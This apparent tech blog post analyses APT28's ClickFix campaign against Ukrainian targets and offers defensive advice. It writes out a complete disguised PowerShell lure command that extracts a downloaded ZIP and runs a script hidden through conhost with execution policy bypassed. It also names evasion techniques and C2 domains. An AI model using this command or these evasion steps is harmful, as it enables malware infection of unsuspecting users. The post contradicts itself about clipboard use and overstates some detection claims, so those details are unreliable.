ProBackend
advanced persistent threats apts
13 hours ago6 min read

How Russia’s APT28 Weaponized ClickFix to Bypass AI Cybersecurity Defenses

Russia’s APT28 group has evolved ClickFix from a social engineering trick into an API-driven attack that bypasses traditional EDR and AMSI protections — turning human trust into a persistent foothold in Ukrainian critical infrastructure.

APT28’s ClickFix Playbook: When Trust Becomes the Backdoor

Here’s what no one told you: APT28 didn’t just use ClickFix. They turned it into a precision tool.

The Ars Technica report from July 2026 is correct — Russia’s most elite hacking group has weaponized ClickFix to compromise Ukrainian government and defense systems. But the real story isn’t in the fake CAPTCHA or the clipboard paste. It’s in the shift from a crude social engineering trick to a scalable, API-driven attack chain that bypasses everything we thought kept us safe.

The old ClickFix was a blunt instrument. You’d get a phishing email with a fake Word error. You’d click ‘Fix It,’ and a PowerShell command would land in your clipboard. You’d press Win+R, paste, hit Enter — and boom, you’d just handed over your machine. Simple. Effective. But noisy.

APT28 changed that.

They didn’t just copy the technique. They industrialized it.

Their landing pages now use the same API-driven payload generation we saw in the wild from commercial ClickFix builders — the kind Bert-Jan Pals found in June 2026, where each victim gets a unique, freshly scrambled command. The same malware, wrapped in a different layer of Base64, AES, or Deflate. The same final payload — in APT28’s case, Lucky Volunteer, an information stealer — but now invisible to signature-based detection.

And they didn’t stop there.

They moved the execution point.

No more Win+R. That leaves a trail in the RunMRU registry. Instead, they point victims to Windows+X and the Windows Terminal. It looks normal. It feels normal. And it leaves zero forensic trace. The command? It’s not even in the clipboard anymore. It’s a one-liner that downloads a ZIP file to Downloads, extracts it, then runs the payload through conhost — bypassing AMSI entirely. The malware? Fileless. Injected into chrome.exe or msedge.exe using QueueUserAPC(). No .exe, no .dll. Just memory.

This isn’t a hack. It’s a surgical strike on the human layer — the one we thought AI could protect.

And that’s the terrifying part. We built AI cybersecurity tools to detect anomalies in network traffic, in process trees, in registry changes. But we never built defenses against the human who believes they’re fixing their own computer.

APT28 didn’t exploit a flaw in Windows. They exploited a flaw in us.

APT28’s ClickFix Playbook: When Trust Becomes the Backdoor

The Silent Execution: How APT28 Avoids Detection

Let’s talk about what happens after the user clicks.

The Microsoft Defender Experts report from August 2025 documented how threat actors obfuscate the JavaScript that generates the visual lures — and APT28 took that to the next level. Their landing pages don’t just spoof reCAPTCHA or Cloudflare Turnstile. They do it with pixel-perfect fidelity, even mimicking the CSS from Font Awesome libraries to make the fake verification box look like it belongs.

But the real magic happens in the background.

Once the user clicks ‘Verify,’ JavaScript doesn’t copy a command. It downloads a file — something innocuous like update.zip — into the Downloads folder. Then, it copies a single line to the clipboard:

powershell -C "$t=$env:TMP;Move-Item \"$HOME\Downloads\update.zip\" \"$t\7947.zip\";tar -xf \"$t\7947.zip\" -C \"$t\";conhost --headless powershell -ExecutionPolicy Bypass -File \"$t\update.ps1\" # \"* I am not a robot reCAPTCHA Verification ID:7947 *\""

This isn’t malware. It’s an orchestrator. It moves the ZIP, extracts it, then fires off the real payload through conhost — a legitimate Windows utility that runs console apps without a visible window. And because it’s not calling PowerShell directly, AMSI doesn’t scan it. The payload? It’s hidden inside that ZIP, a .NET assembly or CLR module loaded into memory by msbuild.exe.

The malware doesn’t write to disk. It doesn’t create scheduled tasks. It doesn’t even touch the registry.

It just lives in memory.

And it’s not just Lucky Volunteer. The same infrastructure delivers other payloads — including Xworm and NetSupport RAT — depending on the target. APT28’s operators use the same backend to tailor the payload to the victim’s role: a defense ministry employee gets a credential harvester. A logistics manager gets a lateral movement tool.

This is what happens when a nation-state actor takes a criminal technique and refines it with military-grade precision.

And here’s the kicker: we didn’t see this coming.

Our EDR tools were trained to flag PowerShell execution from explorer.exe. But conhost? That’s not on any default alert list. Our network sensors look for connections to known C2 domains like comicstar.lat or babybon.cfd — but APT28 uses short-lived, domain-fluxing endpoints hosted on compromised cloud buckets. They rotate every 48 hours.

We’re fighting a ghost.

And the only way to catch it? Behavioral analysis. Memory scanning. YARA signatures that hunt for the structure of the unpacked PowerShell runspace — not the wrapper.

Because if you’re still relying on signatures or static analysis, you’re already behind.

The Silent Execution: How APT28 Avoids Detection

Why AI Cybersecurity Threats Demand Human-Centric Defense

We keep talking about AI as if it’s the solution to every cyber threat.

But APT28’s ClickFix campaign proves the opposite.

AI cybersecurity tools are brilliant at detecting anomalies — in network traffic, in code patterns, in system behavior. But they’re terrible at detecting trust.

The user who clicks ‘Fix It’ isn’t acting out of ignorance. They’re acting out of competence. They believe they’re solving a problem. They’re proud of it. They don’t report it.

And that’s exactly what APT28 banked on.

This isn’t a technical failure. It’s a cultural one.

We’ve trained users to treat every error message as a personal challenge. ‘Your document failed to load? Click Fix.’ ‘Your browser crashed? Click Fix.’ ‘You’re a robot? Click Verify.’ We’ve turned security awareness into a game of ‘spot the fake.’ And APT28 won.

The real AI cybersecurity threat here isn’t the malware. It’s the assumption that AI can replace human judgment.

We need to stop thinking of ClickFix as a phishing variant. It’s not. It’s a social engineering attack that exploits the very systems we built to empower users — not lock them down.

The fix?

First, stop telling users to avoid clicking things. Tell them to never paste anything into a terminal unless they wrote it themselves. Make that a cultural rule — like ‘never share your password.’

Second, deploy behavioral EDR rules that flag any process chain where Windows Terminal or explorer.exe launches a script interpreter and then connects to the internet within 3 seconds. That’s the signature of ClickFix — not the command, not the domain, not the file.

Third, start hunting for conhost execution with PowerShell flags. That’s the new red flag.

And finally — and this is the hardest — we need to redesign our user interfaces.

No more ‘Fix It’ buttons. No more CAPTCHA verification prompts that ask you to run code. If your system needs a fix, it should be automatic. If it can’t be, it should require a ticket. Not a paste.

APT28 didn’t hack Ukraine’s networks.

They hacked its culture.

And until we fix that, no AI in the world will save us.

More blogs